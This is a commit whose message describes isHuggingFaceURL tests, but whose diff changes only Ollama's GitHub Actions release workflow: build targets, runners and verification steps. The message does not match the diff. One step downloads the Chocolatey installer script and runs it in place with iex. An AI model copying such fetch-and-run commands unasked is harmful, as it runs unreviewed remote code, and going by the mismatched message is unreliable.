server: add tests and fix isHuggingFaceURL edge case

- Add comprehensive tests for isHuggingFaceURL and getNumDownloadParts
- Fix bug where domains ending in huggingface.co (like nothuggingface.co)
  would incorrectly match as HuggingFace URLs
- Improve code comments with more detailed documentation

.github/workflows/release.yaml

@@ -16,7 +16,7 @@ jobs:
     outputs:
       GOFLAGS: ${{ steps.goflags.outputs.GOFLAGS }}
       VERSION: ${{ steps.goflags.outputs.VERSION }}
-      vendorsha: ${{ steps.goflags.outputs.vendorsha }}
+      vendorsha: ${{ steps.changes.outputs.vendorsha }}
     steps:
       - uses: actions/checkout@v4
       - name: Set environment
@@ -24,10 +24,10 @@ jobs:
         run: |
           echo GOFLAGS="'-ldflags=-w -s \"-X=github.com/ollama/ollama/version.Version=${GITHUB_REF_NAME#v}\" \"-X=github.com/ollama/ollama/server.mode=release\"'" | tee -a $GITHUB_OUTPUT
           echo VERSION="${GITHUB_REF_NAME#v}" | tee -a $GITHUB_OUTPUT
-          echo vendorsha=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION) | tee -a $GITHUB_OUTPUT
+          echo vendorsha=$(make -f Makefile.sync print-base) | tee -a $GITHUB_OUTPUT
 
   darwin-build:
-    runs-on: macos-26-xlarge
+    runs-on: macos-14-xlarge
     environment: release
     needs: setup-environment
     env:
@@ -39,27 +39,11 @@ jobs:
       APPLE_ID: ${{ vars.APPLE_ID }}
       MACOS_SIGNING_KEY: ${{ secrets.MACOS_SIGNING_KEY }}
       MACOS_SIGNING_KEY_PASSWORD: ${{ secrets.MACOS_SIGNING_KEY_PASSWORD }}
-      DEVELOPER_DIR: /Applications/Xcode_26.4.1.app/Contents/Developer
       CGO_CFLAGS: '-mmacosx-version-min=14.0 -O3'
       CGO_CXXFLAGS: '-mmacosx-version-min=14.0 -O3'
       CGO_LDFLAGS: '-mmacosx-version-min=14.0 -O3'
     steps:
       - uses: actions/checkout@v4
-      - name: Select Xcode 26.4.1
-        shell: bash
-        run: |
-          set -euo pipefail
-          if [ ! -d "${DEVELOPER_DIR}" ]; then
-            echo "Missing ${DEVELOPER_DIR}"
-            ls -1 /Applications | grep '^Xcode' || true
-            exit 1
-          fi
-
-          sudo xcode-select -s "${DEVELOPER_DIR}"
-          sw_vers
-          xcodebuild -version
-          xcrun --sdk macosx --show-sdk-version
-          xcrun --find metal
       - run: |
           echo $MACOS_SIGNING_KEY | base64 --decode > certificate.p12
           security create-keychain -p password build.keychain
@@ -73,9 +57,7 @@ jobs:
           go-version-file: go.mod
           cache-dependency-path: |
             go.sum
-            LLAMA_CPP_VERSION
-            MLX_VERSION
-            MLX_C_VERSION
+            Makefile.sync
       - run: |
           ./scripts/build_darwin.sh
       - name: Log build results
@@ -91,19 +73,15 @@ jobs:
             dist/*.dmg
 
   windows-depends:
-    needs: setup-environment
     strategy:
-      fail-fast: false
       matrix:
         os: [windows]
         arch: [amd64]
         preset: ['CPU']
-        build-steps: ['cpu cpuArm64']
         include:
           - os: windows
             arch: amd64
             preset: 'CUDA 12'
-            build-steps: cuda12
             install: https://developer.download.nvidia.com/compute/cuda/12.8.0/local_installers/cuda_12.8.0_571.96_windows.exe
             cuda-components:
               - '"cudart"'
@@ -111,10 +89,10 @@ jobs:
               - '"cublas"'
               - '"cublas_dev"'
             cuda-version: '12.8'
+            flags: ''
           - os: windows
             arch: amd64
             preset: 'CUDA 13'
-            build-steps: cuda13
             install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
             cuda-components:
               - '"cudart"'
@@ -125,83 +103,30 @@ jobs:
               - '"nvvm"'
               - '"nvptxcompiler"'
             cuda-version: '13.0'
+            flags: ''
           - os: windows
             arch: amd64
-            preset: 'CUDA 13 ARM64'
-            build-steps: cuda13Arm64Cross
-            install: https://packages.nvidia.com/prerelease/cuda/13.4.0/local_installers/cuda_13.4.0_windows_x86_64.exe
-            cuda-components:
-              - '"cudart"'
-              - '"cudart_cross"'
-              - '"nvcc"'
-              - '"nvcc_cross"'
-              - '"cublas_cross"'
-              - '"cublas_dev"'
-              - '"crt"'
-              - '"nvvm"'
-              - '"nvptxcompiler"'
-            cuda-version: '13.4'
-          - os: windows
-            arch: amd64
-            preset: 'ROCm 7'
-            build-steps: rocm7
-            install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
-            rocm-version: '7.1'
+            preset: 'ROCm 6'
+            install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-24.Q4-WinSvr2022-For-HIP.exe
+            rocm-version: '6.2'
+            flags: '-DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma" -DCMAKE_CXX_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma"'
+            runner_dir: 'rocm'
           - os: windows
             arch: amd64
             preset: Vulkan
-            build-steps: vulkan
             install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
-          - os: windows
-            arch: amd64
-            preset: 'MLX CUDA 13'
-            build-steps: mlxCuda13
-            build-parallel: '16'
-            cmake-cuda-flags: '-t 6'
-            install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
-            cudnn-install: https://developer.download.nvidia.com/compute/cudnn/redist/cudnn/windows-x86_64/cudnn-windows-x86_64-9.18.1.3_cuda13-archive.zip
-            cuda-components:
-              - '"cudart"'
-              - '"nvcc"'
-              - '"cublas"'
-              - '"cublas_dev"'
-              - '"cufft"'
-              - '"cufft_dev"'
-              - '"nvrtc"'
-              - '"nvrtc_dev"'
-              - '"crt"'
-              - '"nvvm"'
-              - '"nvptxcompiler"'
-            cuda-version: '13.0'
+            flags: ''
+            runner_dir: 'vulkan'
     runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
     environment: release
     env:
       GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
-      VERSION: ${{ needs.setup-environment.outputs.VERSION }}
     steps:
-      - if: startsWith(matrix.preset, 'MLX ')
-        name: Increase pagefile to 200 GB
-        uses: al-cheb/configure-pagefile-action@v1.5
-        with:
-          minimum-size: 16GB
-          maximum-size: 200GB
-          disk-root: "D:"
       - name: Install system dependencies
         run: |
           choco install -y --no-progress ccache ninja
-          if (Get-Command ccache -ErrorAction SilentlyContinue) {
-            ccache -o cache_dir=${{ github.workspace }}\.ccache
-          }
-      - if: matrix.preset == 'CPU'
-        name: Install Windows ARM64 cross compiler
-        run: |
-          Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
-          Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
-          $installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
-          if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
-            throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
-          }
-      - if: startsWith(matrix.preset, 'CUDA ') || startsWith(matrix.preset, 'ROCm ') || startsWith(matrix.preset, 'Vulkan') || startsWith(matrix.preset, 'MLX ')
+          ccache -o cache_dir=${{ github.workspace }}\.ccache
+      - if: startsWith(matrix.preset, 'CUDA ') || startsWith(matrix.preset, 'ROCm ') || startsWith(matrix.preset, 'Vulkan')
         id: cache-install
         uses: actions/cache/restore@v4
         with:
@@ -209,24 +134,13 @@ jobs:
             C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
             C:\Program Files\AMD\ROCm
             C:\VulkanSDK
-            C:\Program Files\NVIDIA\CUDNN
-          key: ${{ matrix.install }}-${{ matrix.cudnn-install }}
-      - if: startsWith(matrix.preset, 'CUDA ') || startsWith(matrix.preset, 'MLX ')
+          key: ${{ matrix.install }}
+      - if: startsWith(matrix.preset, 'CUDA ')
         name: Install CUDA ${{ matrix.cuda-version }}
         run: |
           $ErrorActionPreference = "Stop"
-          $ProgressPreference = 'SilentlyContinue'
           if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
-            for ($attempt = 1; $attempt -le 3; $attempt++) {
-              try {
-                Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
-                break
-              } catch {
-                if ($attempt -eq 3) { throw }
-                Write-Host "CUDA installer download attempt $attempt failed: $($_.Exception.Message); retrying in 15s"
-                Start-Sleep -Seconds 15
-              }
-            }
+            Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
             $subpackages = @(${{ join(matrix.cuda-components, ', ') }}) | Foreach-Object {"${_}_${{ matrix.cuda-version }}"}
             Start-Process -FilePath .\install.exe -ArgumentList (@("-s") + $subpackages) -NoNewWindow -Wait
           }
@@ -259,29 +173,12 @@ jobs:
           }
           
           $vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
-          $vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
-          if (Test-Path $vulkanRuntime) {
-            Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
-          }
           echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
           echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
-      - if: startsWith(matrix.preset, 'MLX ')
-        name: Install cuDNN for MLX
+      - if: matrix.preset == 'CPU'
         run: |
-          $ErrorActionPreference = "Stop"
-          $cudnnRoot = "C:\Program Files\NVIDIA\CUDNN"
-          if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
-            Invoke-WebRequest -Uri "${{ matrix.cudnn-install }}" -OutFile "cudnn.zip"
-            Expand-Archive -Path cudnn.zip -DestinationPath cudnn-extracted
-            $cudnnDir = (Get-ChildItem -Path cudnn-extracted -Directory)[0].FullName
-            New-Item -ItemType Directory -Force -Path $cudnnRoot
-            Copy-Item -Path "$cudnnDir\*" -Destination "$cudnnRoot\" -Recurse
-          }
-
-          echo "CUDNN_ROOT_DIR=$cudnnRoot" | Out-File -FilePath $env:GITHUB_ENV -Append
-          echo "CUDNN_INCLUDE_PATH=$cudnnRoot\include" | Out-File -FilePath $env:GITHUB_ENV -Append
-          echo "CUDNN_LIBRARY_PATH=$cudnnRoot\lib\x64" | Out-File -FilePath $env:GITHUB_ENV -Append
-          echo "$cudnnRoot\bin\x64" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
+          echo "CC=clang.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
+          echo "CXX=clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
       - if: ${{ !cancelled() && steps.cache-install.outputs.cache-hit != 'true' }}
         uses: actions/cache/save@v4
         with:
@@ -289,70 +186,78 @@ jobs:
             C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
             C:\Program Files\AMD\ROCm
             C:\VulkanSDK
-            C:\Program Files\NVIDIA\CUDNN
-          key: ${{ matrix.install }}-${{ matrix.cudnn-install }}
+          key: ${{ matrix.install }}
       - uses: actions/checkout@v4
       - uses: actions/cache@v4
         with:
           path: ${{ github.workspace }}\.ccache
           key: ccache-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}-${{ needs.setup-environment.outputs.vendorsha }}
-      - name: Build Windows dependencies
+      - name: Build target "${{ matrix.preset }}"
         run: |
           Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
           Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation  -DevCmdArguments '-arch=x64 -no_logo'
-          $steps = "${{ matrix.build-steps }}".Split(' ', [System.StringSplitOptions]::RemoveEmptyEntries)
-          ./scripts/build_windows.ps1 @steps
+          cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }} --install-prefix "$((pwd).Path)\dist\${{ matrix.os }}-${{ matrix.arch }}"
+          cmake --build --parallel ([Environment]::ProcessorCount) --preset "${{ matrix.preset }}"
+          cmake --install build --component "${{ startsWith(matrix.preset, 'CUDA ') && 'CUDA' || startsWith(matrix.preset, 'ROCm ') && 'HIP' || startsWith(matrix.preset, 'Vulkan') && 'Vulkan' || 'CPU' }}" --strip
+          Remove-Item -Path dist\lib\ollama\rocm\rocblas\library\*gfx906* -ErrorAction SilentlyContinue
         env:
           CMAKE_GENERATOR: Ninja
-          OLLAMA_BUILD_PARALLEL: ${{ matrix.build-parallel || '' }}
-          OLLAMA_CMAKE_CUDA_FLAGS: ${{ matrix.cmake-cuda-flags || '' }}
       - name: Log build results
         run: |
           gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
-      - if: matrix.preset == 'CPU'
-        name: Verify Windows CPU payloads
-        shell: bash
-        run: |
-          set -euo pipefail
-          for payload in \
-            dist/windows-amd64/lib/ollama/llama-server.exe \
-            dist/windows-arm64/lib/ollama/llama-server.exe
-          do
-            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
-          done
       - uses: actions/upload-artifact@v4
         with:
           name: depends-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}
           path: dist\*
 
   windows-build:
-    runs-on: windows
+    strategy:
+      matrix:
+        os: [windows]
+        arch: [amd64, arm64]
+        include:
+        - os: windows
+          arch: amd64
+          llvmarch: x86_64
+        - os: windows
+          arch: arm64
+          llvmarch: aarch64
+    runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
     environment: release
     needs: [setup-environment]
     env:
       GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
       VERSION: ${{ needs.setup-environment.outputs.VERSION }}
     steps:
+      - name: Install ARM64 system dependencies
+        if: matrix.arch == 'arm64'
+        run: |
+          $ErrorActionPreference = "Stop"
+          Set-ExecutionPolicy Bypass -Scope Process -Force
+          [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072
+          iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
+          echo "C:\ProgramData\chocolatey\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
+
+          Invoke-WebRequest -Uri https://aka.ms/vs/17/release/vc_redist.arm64.exe -OutFile "${{ runner.temp }}\vc_redist.arm64.exe"
+          Start-Process -FilePath "${{ runner.temp }}\vc_redist.arm64.exe" -ArgumentList @("/install", "/quiet", "/norestart") -NoNewWindow -Wait
+
+          choco install -y --no-progress git gzip
+          echo "C:\Program Files\Git\cmd" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
       - name: Install clang and gcc-compat
         run: |
           $ErrorActionPreference = "Stop"
           Set-ExecutionPolicy Bypass -Scope Process -Force
-          Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
+          Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-${{ matrix.llvmarch }}.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
           Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
-          $installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
+          $installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt*").path
           echo "$installPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
-          if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
-            throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
-          }
       - uses: actions/checkout@v4
       - uses: actions/setup-go@v5
         with:
           go-version-file: go.mod
           cache-dependency-path: |
             go.sum
-            LLAMA_CPP_VERSION
-            MLX_VERSION
-            MLX_C_VERSION
+            Makefile.sync
       - name: Verify gcc is actually clang
         run: |
           $ErrorActionPreference='Continue'
@@ -369,30 +274,20 @@ jobs:
         with:
           node-version: "20"
       - run: |
-          ./scripts/build_windows ollama ollamaArm64 app appArm64
-      - name: Verify Windows build payloads
-        shell: bash
-        run: |
-          set -euo pipefail
-          for payload in \
-            dist/windows-amd64/ollama.exe \
-            dist/windows-arm64/ollama.exe
-          do
-            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
-          done
+          ./scripts/build_windows ollama app
       - name: Log build results
         run: |
           gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
       - uses: actions/upload-artifact@v4
         with:
-          name: build-windows-amd64
+          name: build-${{ matrix.os }}-${{ matrix.arch }}
           path: |
             dist\*
 
   windows-app:
     runs-on: windows
     environment: release
-    needs: [setup-environment, windows-build, windows-depends]
+    needs: [windows-build, windows-depends]
     env:
       GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
       VERSION: ${{ needs.setup-environment.outputs.VERSION }}
@@ -418,9 +313,7 @@ jobs:
           go-version-file: go.mod
           cache-dependency-path: |
             go.sum
-            LLAMA_CPP_VERSION
-            MLX_VERSION
-            MLX_C_VERSION
+            Makefile.sync
       - uses: actions/download-artifact@v4
         with:
           pattern: depends-windows*
@@ -434,18 +327,6 @@ jobs:
       - name: Log dist contents after download
         run: |
           gci -path .\dist -recurse
-      - name: Verify Windows package inputs
-        shell: bash
-        run: |
-          set -euo pipefail
-          for payload in \
-            dist/windows-amd64/ollama.exe \
-            dist/windows-amd64/lib/ollama/llama-server.exe \
-            dist/windows-arm64/ollama.exe \
-            dist/windows-arm64/lib/ollama/llama-server.exe
-          do
-            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
-          done
       - run: |
           ./scripts/build_windows.ps1 deps sign installer zip
       - name: Log contents after build
@@ -456,37 +337,22 @@ jobs:
           name: bundles-windows
           path: |
             dist/*.zip
-            dist/*.ps1
             dist/OllamaSetup.exe
 
-  linux-depends:
+  linux-build:
     strategy:
-      fail-fast: false
       matrix:
         include:
-          - arch: amd64
-            target: llama-server-cpu
-          - arch: amd64
-            target: llama-server-cuda_v12
-          - arch: amd64
-            target: llama-server-cuda_v13
-          - arch: amd64
-            target: mlx
-          - arch: amd64
-            target: llama-server-rocm_v7_2
-          - arch: amd64
-            target: llama-server-vulkan
-          - arch: arm64
-            target: llama-server-cpu
-          - arch: arm64
-            target: llama-server-cuda_v12
-          - arch: arm64
-            target: llama-server-cuda_v13
-          - arch: arm64
-            target: jetpack-5
-          - arch: arm64
-            target: jetpack-6
-    runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
+          - os: linux
+            arch: amd64
+            target: archive
+          - os: linux
+            arch: amd64
+            target: rocm
+          - os: linux
+            arch: arm64
+            target: archive
+    runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
     environment: release
     needs: setup-environment
     env:
@@ -494,115 +360,79 @@ jobs:
     steps:
       - uses: actions/checkout@v4
       - uses: docker/setup-buildx-action@v3
-      - uses: docker/login-action@v3
-        with:
-          username: ${{ vars.DOCKER_USER }}
-          password: ${{ secrets.DOCKER_ACCESS_TOKEN }}
-      - if: matrix.target == 'mlx'
-        name: Increase Linux swap to 200 GB
-        shell: bash
-        run: |
-          set -e
-          SWAP_PATH=/swapfile-mlx
-          SWAP_SIZE_GB=200
-          if [ -f "$SWAP_PATH" ]; then
-              sudo swapoff "$SWAP_PATH" 2>/dev/null || true
-              sudo rm -f "$SWAP_PATH"
-          fi
-          if ! sudo fallocate -l ${SWAP_SIZE_GB}G "$SWAP_PATH" 2>/dev/null; then
-              echo "fallocate unsupported, falling back to dd"
-              sudo dd if=/dev/zero of="$SWAP_PATH" bs=1M count=$((SWAP_SIZE_GB * 1024))
-          fi
-          sudo chmod 600 "$SWAP_PATH"
-          sudo mkswap "$SWAP_PATH"
-          sudo swapon "$SWAP_PATH"
-          swapon --show
-          free -h
       - uses: docker/build-push-action@v6
         with:
           context: .
-          platforms: linux/${{ matrix.arch }}
+          platforms: ${{ matrix.os }}/${{ matrix.arch }}
           target: ${{ matrix.target }}
-          provenance: false
-          sbom: false
           build-args: |
             GOFLAGS=${{ env.GOFLAGS }}
             CGO_CFLAGS=${{ env.CGO_CFLAGS }}
             CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
-            OLLAMA_MLX_BUILD_JOBS=16
-            OLLAMA_MLX_NVCC_THREADS=6
-            APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
-            APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
-          cache-from: |
-            type=registry,ref=ollama/release:cache-${{ matrix.arch }}-${{ matrix.target }}
-            type=registry,ref=${{ vars.DOCKER_REPO }}:latest
-          cache-to: type=registry,ref=ollama/release:cache-${{ matrix.arch }}-${{ matrix.target }},mode=max
+          outputs: type=local,dest=dist/${{ matrix.os }}-${{ matrix.arch }}
+          cache-from: type=registry,ref=${{ vars.DOCKER_REPO }}:latest
+          cache-to: type=inline
+      - name: Deduplicate CUDA libraries
+        run: |
+          ./scripts/deduplicate_cuda_libs.sh dist/${{ matrix.os }}-${{ matrix.arch }}
+      - run: |
+          for COMPONENT in bin/* lib/ollama/*; do
+            case "$COMPONENT" in
+              bin/ollama*)               echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/*.so*)          echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/cuda_v*)        echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/vulkan*)        echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/mlx*)           echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/cuda_jetpack5)  echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack5.tar.in ;;
+              lib/ollama/cuda_jetpack6)  echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack6.tar.in ;;
+              lib/ollama/rocm)           echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-rocm.tar.in ;;
+            esac
+          done
+        working-directory: dist/${{ matrix.os }}-${{ matrix.arch }}
+      - run: |
+          echo "Manifests"
+          for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in ; do
+            echo $ARCHIVE
+            cat $ARCHIVE
+          done
+      - run: |
+          for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in; do
+            tar c -C dist/${{ matrix.os }}-${{ matrix.arch }} -T $ARCHIVE --owner 0 --group 0 | zstd --ultra -22 -T0 >$(basename ${ARCHIVE//.*/}.tar.zst);
+          done
+      - uses: actions/upload-artifact@v4
+        with:
+          name: bundles-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.target }}
+          path: |
+            *.tar.zst
 
   # Build each Docker variant (OS, arch, and flavor) separately. Using QEMU is unreliable and slower.
-  # Heavy stages were pre-built by linux-depends; this job is cache-hit-only for those layers
-  # and just assembles, runs the Go build, pushes the final image, and extracts release bundles.
   docker-build-push:
     strategy:
-      fail-fast: false
       matrix:
         include:
           - os: linux
             arch: arm64
-            archive-target: archive
             build-args: |
               CGO_CFLAGS
               CGO_CXXFLAGS
               GOFLAGS
-              APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
-              APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
-              OLLAMA_MLX_BUILD_JOBS=16
-              OLLAMA_MLX_NVCC_THREADS=6
-            cache-from: |
-              type=registry,ref=ollama/release:cache-arm64-llama-server-cpu
-              type=registry,ref=ollama/release:cache-arm64-llama-server-cuda_v12
-              type=registry,ref=ollama/release:cache-arm64-llama-server-cuda_v13
-              type=registry,ref=ollama/release:cache-arm64-jetpack-5
-              type=registry,ref=ollama/release:cache-arm64-jetpack-6
-              type=registry,ref=${{ vars.DOCKER_REPO }}:latest
           - os: linux
             arch: amd64
-            archive-target: archive
             build-args: |
               CGO_CFLAGS
               CGO_CXXFLAGS
               GOFLAGS
-              APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
-              APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
-              OLLAMA_MLX_BUILD_JOBS=16
-              OLLAMA_MLX_NVCC_THREADS=6
-            cache-from: |
-              type=registry,ref=ollama/release:cache-amd64-llama-server-cpu
-              type=registry,ref=ollama/release:cache-amd64-llama-server-cuda_v12
-              type=registry,ref=ollama/release:cache-amd64-llama-server-cuda_v13
-              type=registry,ref=ollama/release:cache-amd64-mlx
-              type=registry,ref=ollama/release:cache-amd64-llama-server-rocm_v7_2
-              type=registry,ref=ollama/release:cache-amd64-llama-server-vulkan
-              type=registry,ref=${{ vars.DOCKER_REPO }}:latest
           - os: linux
             arch: amd64
             suffix: '-rocm'
-            archive-target: image-archive
             build-args: |
               CGO_CFLAGS
               CGO_CXXFLAGS
               GOFLAGS
               FLAVOR=rocm
-              APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
-              APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
-              OLLAMA_MLX_BUILD_JOBS=16
-              OLLAMA_MLX_NVCC_THREADS=6
-            cache-from: |
-              type=registry,ref=ollama/release:cache-amd64-llama-server-cpu
-              type=registry,ref=ollama/release:cache-amd64-llama-server-rocm_v7_2
-              type=registry,ref=${{ vars.DOCKER_REPO }}:latest
     runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
     environment: release
-    needs: [setup-environment, linux-depends]
+    needs: setup-environment
     env:
       GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
     steps:
@@ -617,11 +447,9 @@ jobs:
         with:
           context: .
           platforms: ${{ matrix.os }}/${{ matrix.arch }}
-          provenance: false
-          sbom: false
           build-args: ${{ matrix.build-args }}
           outputs: type=image,name=${{ vars.DOCKER_REPO }},push-by-digest=true,name-canonical=true,push=true
-          cache-from: ${{ matrix.cache-from }}
+          cache-from: type=registry,ref=${{ vars.DOCKER_REPO }}:latest
           cache-to: type=inline
       - run: |
           mkdir -p ${{ matrix.os }}-${{ matrix.arch }}
@@ -632,69 +460,10 @@ jobs:
           name: digest-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.suffix }}
           path: |
             ${{ runner.temp }}/${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.suffix }}.txt
-      - uses: docker/build-push-action@v6
-        with:
-          context: .
-          platforms: ${{ matrix.os }}/${{ matrix.arch }}
-          target: ${{ matrix.archive-target }}
-          provenance: false
-          sbom: false
-          build-args: ${{ matrix.build-args }}
-          outputs: type=local,dest=dist/${{ matrix.os }}-${{ matrix.arch }}
-          cache-from: ${{ matrix.cache-from }}
-      - name: Deduplicate CUDA libraries
-        run: |
-          ./scripts/deduplicate_cuda_libs.sh dist/${{ matrix.os }}-${{ matrix.arch }}
-      - name: Verify Linux build payloads
-        shell: bash
-        run: |
-          set -euo pipefail
-          base="dist/${{ matrix.os }}-${{ matrix.arch }}"
-          for payload in \
-            "$base/bin/ollama" \
-            "$base/lib/ollama/llama-server"
-          do
-            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
-          done
-      - run: |
-          for COMPONENT in bin/* lib/ollama/*; do
-            case "$COMPONENT" in
-              bin/ollama*)               echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/*.so*)          echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/llama-server*|lib/ollama/llama-quantize*)  echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/cuda_v*)        echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/vulkan*)        echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/mlx*)           echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
-              lib/ollama/include*)       echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
-              lib/ollama/cuda_jetpack5)  echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack5.tar.in ;;
-              lib/ollama/cuda_jetpack6)  echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack6.tar.in ;;
-              lib/ollama/rocm_v*)        echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-rocm.tar.in ;;
-            esac
-          done
-        working-directory: dist/${{ matrix.os }}-${{ matrix.arch }}
-      - if: matrix.suffix == '-rocm'
-        run: rm -f dist/${{ matrix.os }}-${{ matrix.arch }}/ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in
-      - run: |
-          echo "Manifests"
-          for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in ; do
-            echo $ARCHIVE
-            cat $ARCHIVE
-          done
-      - run: |
-          for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in; do
